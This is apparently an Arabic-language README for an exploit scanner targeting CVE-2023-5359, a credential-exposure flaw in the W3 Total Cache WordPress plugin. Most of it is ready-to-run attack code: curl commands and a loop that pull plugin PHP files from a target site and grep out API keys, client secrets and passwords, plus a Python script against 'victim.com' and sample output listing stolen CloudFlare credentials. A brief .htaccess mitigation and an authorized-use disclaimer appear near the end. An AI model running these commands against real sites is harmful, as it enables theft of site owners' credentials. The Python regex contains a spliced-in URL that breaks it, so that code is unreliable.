
CVE-2023-5359 - ماسح ضوئي لثغرة التخزين بنص واضح في W3 Total Cache. يكتشف بيانات الاعتماد المكشوفة في إصدارات إضافة W3 Total Cache ≤ 2.7.5.
CVE-2023-5359 هي ثغرة تخزين غير مشفر تؤثر على إضافة ووردبريس W3 Total Cache في الإصدارات ≤ 2.7.5. تسمح هذه الثغرة للمهاجمين عن بُعد بالوصول إلى بيانات اعتماد حساسة مخزنة في ملفات PHP غير مشفرة وقابلة للوصول العام.
يقوم W3 Total Cache بتخزين إعدادات التهيئة وبيانات اعتماد API في ملفات PHP داخل دليل /wp-content/plugins/w3-total-cache/ دون حماية كافية. هذه الملفات قابلة للوصول عبر HTTP، مما يعرض ما يلي:
/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php
/wp-content/plugins/w3-total-cache/Extension_FeedBurner_Plugin.php
/wp-content/plugins/w3-total-cache/Config.php
/wp-content/plugins/w3-total-cache/Cache_File.php
# Check if W3 Total Cache is installed
curl -s https://target.com/ | grep "w3-total-cache"
# Extract CloudFlare credentials
curl -s "https://target.com/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php" | grep -E "client_id|client_secret"
# Search all vulnerable files
for file in Extension_CloudFlare_Plugin.php Generic_Plugin_Admin.php Config.php; do
echo "=== $file ==="
curl -s "https://target.com/wp-content/plugins/w3-total-cache/$file" | grep -E "api_key|password|secret"
done
#!/usr/bin/env python3
import requests
import re
target = "https://victim.com"
files = [
"/wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php",
"/wp-content/plugins/w3-total-cache/Generic_Plugin_Admin.php"
]
for file in files:
response = requests.get(target + file)
credentials = re.findall(r"(api_key|client_secret|password)\s*=\s*['\"](https://github.com/enzocipher/cve-2023-5359/blob/HEAD/%5B%5E%27%5C%22%5D+)", response.text)
if credentials:
print(f"[!] Credentials found in {file}:")
for key, value in credentials:
print(f" {key}: {value}")
يمكن للمهاجم الحصول على:
# .htaccess protection
<Files *.php>
Deny from all
</Files>
<Files "w3-total-cache.php">
Allow from all
</Files>
# Check for vulnerable version
curl -s https://target.com/wp-content/plugins/w3-total-cache/w3-total-cache.php | grep "Version"
[*] Scanning: https://example.com
[+] W3 Total Cache detected
[+] Accessible file: /wp-content/plugins/w3-total-cache/Extension_CloudFlare_Plugin.php
[!] CREDENTIALS FOUND:
client_id: GAxxxxxxxxxxxx78
client_secret: ABcdEFghIJklMNopQRstUVwxYZ012345
هذا المستودع مخصص للأغراض التعليمية واختبار الاختراق المصرح به فقط. الاستخدام الخبيث لهذه المعلومات محظور تمامًا.
هل وجدت هذه المعلومات مفيدة؟ قم بوضع نجمة على المستودع!
آخر تحديث: نوفمبر 2025